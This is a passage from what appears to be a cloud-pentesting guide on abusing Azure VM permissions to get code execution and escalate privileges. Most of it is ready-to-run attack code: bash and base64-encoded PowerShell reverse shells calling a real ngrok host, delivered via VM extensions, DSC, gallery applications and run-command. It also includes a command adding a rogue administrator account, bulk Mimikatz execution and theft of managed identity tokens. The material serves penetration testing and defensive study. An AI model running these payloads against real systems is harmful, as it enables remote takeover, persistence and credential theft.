--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
```
- Execute reverse shell from file
```bash
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Reset password using the VMAccess extension
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
{{#endtab }}
{{#endtabs }}
It's also possible to abuse well-known extensions to execute code or perform privileged actions inside the VMs:
<details>
<summary>VMAccess extension</summary>
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
```powershell
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
```
</details>
<details>
<summary>DesiredConfigurationState (DSC)</summary>
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
```
</details>
<details>
<summary>Hybrid Runbook Worker</summary>
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-services/az-automation-account/).
</details>
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
These are the required permissions to **create a new gallery application and execute it inside a VM**. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.
The last 2 permissions might be avoided by sharing the application with the tenant.
Exploitation example to execute arbitrary commands:
{{#tabs }}
{{#tab name="Linux" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#tab name="Windows" }}
```bash
# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true
```
{{#endtab }}
{{#endtabs }}
### `Microsoft.Compute/virtualMachines/runCommand/action`
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs:**
{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}
{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1
## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}
### `Microsoft.Compute/virtualMachines/login/action`
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
This permission allows a user to **login as user into a VM via SSH or RDP** (as long as Entra ID authentication is enabled in the VM).
Login via **SSH** with **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** and via **RDP** with your **regular Azure credentials**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
All those are the necessary permissions to **create a VM with a specific managed identity** and leaving a **port open** (22 in this case). This allows a user to create a VM and connect to it and **steal managed identity tokens** to escalate privileges to it.
Depending on the situation more or less permissions might be needed to abuse this technique.
```bash
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Those permissions are enough to **assign new managed identities to a VM**. Note that a VM can have several managed identities. It can have the **system assigned one**, and **many user managed identities**.\
Then, from the metadata service it's possible to generate tokens for each one.
```bash
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Then the attacker needs to have **compromised somehow the VM** to steal tokens from the assigned managed identities. Check **more info in**:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
{{#endref}}
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
According to the [**docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), this permission lets you manage the OS of your resource via Windows Admin Center as an administrator. So it looks like this gives access to the WAC to control the VMs...
{{#include ../../../banners/hacktricks-training.md}}